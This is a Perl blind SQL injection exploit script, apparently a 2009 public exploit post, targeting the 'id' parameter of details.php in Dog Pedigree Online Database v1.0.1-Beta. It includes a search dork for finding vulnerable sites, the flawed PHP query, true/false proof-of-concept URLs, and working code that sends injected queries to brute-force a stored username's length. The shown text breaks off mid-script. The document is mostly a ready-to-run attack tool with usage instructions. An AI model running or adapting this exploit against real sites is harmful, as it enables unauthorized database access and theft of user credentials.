#!/usr/bin/perl # # #------------------------------------------------------------------------------------------ #(GET var 'id') BLIND SQL INJECTION EXPLOIT --Dog Pedigree Online Database v1.0.1-Beta --> #------------------------------------------------------------------------------------------ # #CMS INFORMATION: # #-->WEB: http://thewhippetarchives.net/twa_is_offline.php #-->DOWNLOAD: http://sourceforge.net/projects/dogarchive #-->DEMO: N/A #-->CATEGORY: Genealogy #-->DESCRIPTION: This project allows to setup and maintain a database for # collecting (dog) pedigrees. The data will actually be collected... #-->RELEASED: 2009-01-25 # #CMS VULNERABILITY: # #-->TESTED ON: firefox 3 #-->DORK: inurl:"printable_pedigree.php" #-->CATEGORY: BLIND SQL INJECTION EXPLOIT #-->AFFECT VERSION: <= 1.0.1 Beta #-->Discovered Bug date: 2009-05-08 #-->Reported Bug date: 2009-05-08 #-->Fixed bug date: 2009-05-12 #-->Info patch (v1.0.2): http://sourceforge.net/projects/dogarchive/ #-->Author: YEnH4ckEr #-->mail: y3nh4ck3r[at]gmail[dot]com #-->WEB/BLOG: N/A #-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo. #-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!) # # #----------- #BUG FILES: #----------- # #Path --> [HOME_PATH]/details.php #Lines --> 135, 237-239 # #It contents: # ... # # $currId = $_GET['id']; # # ... # # #$query = "SELECT dog.creator, users.userId, users.username FROM dog # LEFT JOIN users ON dog.creator = users.userId WHERE id=$currId;"; #$result = mysql_query($query) or die('Query failed: ' . mysql_error()); # # ... # #------------ #CONDITIONS: #------------ # # #**Exist a valid id # #**magic quotes=off/on # # #--------------------------------------- #PROOF OF CONCEPT (BLIND SQL INJECTION): #--------------------------------------- # #http://[HOST]/[HOME_PATH]/details.php?id=63174+and+1=1%23 --> True # #http://[HOST]/[HOME_PATH]/details.php?id=63174+and+1=0%23 --> False # # ####################################################################### ####################################################################### ##*******************************************************************## ## SPECIAL GREETZ TO: Str0ke, JosS, Ulises2k, J. McCray ... ## ##*******************************************************************## ##-------------------------------------------------------------------## ##*******************************************************************## ## GREETZ TO: SPANISH H4ck3Rs community! ## ##*******************************************************************## ####################################################################### ####################################################################### # # use LWP::UserAgent; use HTTP::Request; #Subroutines sub lw { my $SO = $^O; my $linux = ""; if (index(lc($SO),"win")!=-1){ $linux="0"; }else{ $linux="1"; } if($linux){ system("clear"); } else{ system("cls"); system ("title Dog Pedigree Online Database v1.0.1-Beta (GET var 'id') BLIND SQL Injection Exploit"); system ("color 04"); } } sub request { my $userag = LWP::UserAgent->new; $userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)'); my $request = HTTP::Request -> new(GET => $_[0]); my $outcode= $userag->request($request)->as_string; return $outcode; } sub helper { print "\n\t[!-!] Dogarchive v1.0.1 Beta (GET var 'id') BLIND SQL Injection Exploit\n"; print "\t[!-!] USAGE MODE: [!-!]\n"; print "\t[!-!] perl $0 [HOST] [PATH] [id]\n"; print "\t[!-!] [HOST]: Web.\n"; print "\t[!-!] [PATH]: Home Path. Not use path= no-path\n"; print "\t[!-!] [id]: Valid id.\n"; print "\t[!-!] Example: perl $0 'www.example.es' 'dogarchive' '12545'\n"; } sub error { print "\t-----------------------------------------------------------------\n"; print "\tWEB IS NOT VULNERABLE!\n\n"; print "\tMaybe --> \n\n"; print "\t1.-Patched\n"; print "\t2.-id doesn't exist\n"; print "\t3.-it needs to change userId (Default:2252)\n\n"; print "\tEXPLOIT FAILED!\n"; print "\t-----------------------------------------------------------------\n"; } sub testedblindsql { print "\t-----------------------------------------------------------------\n"; print "\tWEB MAYBE BE VULNERABLE!\n\n"; print "\tTested Blind SQL Injection.\n"; print "\tStarting exploit...\n"; print "\t-----------------------------------------------------------------\n\n"; } sub brute_length{ #User length $exit=0; $i=0; while($exit==0){ my $blindsql=$_[0]."+AND+(SELECT+length(username)+FROM+users+WHERE+userId=2252)=".$i++."%23"; #injected code $output=&request($blindsql); if($output =~ (/\